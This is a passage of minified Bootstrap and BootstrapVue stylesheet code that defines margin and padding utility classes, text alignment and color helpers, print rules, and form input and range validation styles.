5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.m
9l-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}
9@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}
9.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}
9.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}
9.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}
9.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:hsla(0,0%,100%,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,:after,:before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]:after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}.container,body{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}}/*! 10 * BootstrapVue Custom CSS (https://bootstrap-vue.js.org) 11 */.alert.alert.fade-leave-active,.alert.fade-enter-active{transition:opacity .15s linear}.alert.fade-enter,.alert.fade-leave-to{opacity:0}.card-img-left{border-top-left-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-img-right{border-top-right-radius:calc(.25rem - 1px);border-bottom-right-radius:calc(.25rem - 1px)}.dropdown-toggle.dropdown-toggle-no-caret:after{display:none!important}.b-dropdown-form{display:inline-block;padding:.25rem 1.5rem;width:100%;clear:both;font-weight:400}.b-dropdown-form:first-child{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.b-dropdown-form:last-child{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.b-dropdown-text{display:inline-block;padding:.25rem 1.5rem;margin-bottom:0;width:100%;clear:both;font-weight:lighter}.b-dropdown-text:first-child{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.b-dropdown-text:last-child{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.input-group>.input-group-append:last-child>.btn-group:not(:last-child):not(.dropdown-toggle)>.btn,.input-group>.input-group-append:not(:last-child)>.btn-group>.btn,.input-group>.input-group-prepend>.btn-group>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn-group>.btn,.input-group>.input-group-prepend:first-child>.btn-group:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.btn-group>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.form-control.is-invalid,.form-control.is-valid,.was-validated .form-control:invalid,.was-validated .form-control:valid{background-position:right calc(.375em + .1875rem) center}input[type=color].form-control{height:calc(1.5em + .75rem + 2px);padding:.125rem .25rem}.input-group-sm input[type=color].form-control,input[type=color].form-control.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.125rem .25rem}.input-group-lg input[type=color].form-control,input[type=color].form-control.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.125rem .25rem}input[type=color].form-control:disabled{background-color:#adb5bd;opacity:.65}.input-group>.custom-range{position:relative;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file+.custom-range,.input-group>.custom-range+.custom-file,.input-group>.custom-range+.custom-range,.input-group>.custom-range+.custom-select,.input-group>.custom-range+.form-control,.input-group>.custom-range+.form-control-plaintext,.input-group>.custom-select+.custom-range,.input-group>.form-control+.custom-range,.input-group>.form-control-plaintext+.custom-range{margin-left:-1px}.input-group>.custom-range:focus{z-index:3}.input-group>.custom-range:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-range:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-range{padding:0 .75rem;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;
11height:calc(1.5em + .75rem + 2px);border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.input-group>.custom-range{transition:none}}.input-group>.custom-range:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.input-group>.custom-range:disabled,.input-group>.custom-range[readonly]{background-color:#e9ecef}.input-group-lg>.custom-range{height:calc(1.5em + 1rem + 2px);padding:0 1rem;border-radius:.3rem}.input-group-sm>.custom-range{height:calc(1.5em + .5rem + 2px);padding:0 .5rem;border-radius:.2rem}.input-group .custom-range.is-valid,.was-validated .input-group .custom-range:valid{border-color:#28a745}.input-group .custom-range.is-valid:focus,.was-validated .input-group .custom-range:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-range.is-valid:focus::-webkit-slider-thumb,.was-validated .custom-range:valid:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #9be7ac}.custom-range.is-valid:focus::-moz-range-thumb,.was-validated .custom-range:valid:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #9be7ac}.custom-range.is-valid:focus::-ms-thumb,.was-validated .custom-range:valid:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #9be7ac}.custom-range.is-valid::-webkit-slider-thumb,.was-validated .custom-range:valid::-webkit-slider-thumb{background-color:#28a745;background-image:none}.custom-range.is-valid::-webkit-slider-thumb:active,.was-validated .custom-range:valid::-webkit-slider-thumb:active{background-color:#9be7ac;background-image:none}.custom-range.is-valid::-webkit-slider-runnable-track,.was-validated .custom-range:valid::-webkit-slider-runnable-track{background-color:rgba(40,167,69,.35)}.custom-range.is-valid::-moz-range-thumb,.was-validated .custom-range:valid::-moz-range-thumb{background-color:#28a745;background-image:none}.custom-range.is-valid::-moz-range-thumb:active,.was-validated .custom-range:valid::-moz-range-thumb:active{background-color:#9be7ac;background-image:none}.custom-range.is-valid::-moz-range-track,.was-validated .custom-range:valid::-moz-range-track{background:rgba(40,167,69,.35)}.custom-range.is-valid~.valid-feedback,.custom-range.is-valid~.valid-tooltip,.was-validated .custom-range:valid~.valid-feedback,.was-validated .custom-range:valid~.valid-tooltip{display:block}.custom-range.is-valid::-ms-thumb,.was-validated .custom-range:valid::-ms-thumb{background-color:#28a745;background-image:none}.custom-range.is-valid::-ms-thumb:active,.was-validated .custom-range:valid::-ms-thumb:active{background-color:#9be7ac;background-image:none}.custom-range.is-valid::-ms-track-lower,.custom-range.is-valid::-ms-track-upper,.was-validated .custom-range:valid::-ms-track-lower,.was-validated .custom-range:valid::-ms-track-upper{background:rgba(40,167,69,.35)}.input-group .custom-range.is-invalid,.was-validated .input-group .custom-range:invalid{border-color:#dc3545}.input-group .custom-range.is-invalid:focus,.was-validated .input-group .custom-range:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-range.is-invalid:focus::-webkit-slider-thumb,.was-validated .custom-range:invalid:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #f6cdd1}.custom-range.is-invalid:focus::-moz-range-thumb,.was-validated .custom-range:invalid:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #f6cdd1}.custom-range.is-invalid:focus::-ms-thumb,.was-validated .custom-range:invalid:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem #f6cdd1}.custom-range.is-invalid::-webkit-slider-thumb,.was-validated .custom-range:invalid::-webkit-slider-thumb{background-color:#dc3545;background-image:none}.custom-range.is-invalid::-webkit-slider-thumb:active,.was-validated .custom-range:invalid::-webkit-slider-thumb:active{background-color:#f6cdd1;background-image:none}.custom-range.is-invalid::-webkit-slider-runnable-track,.was-validated 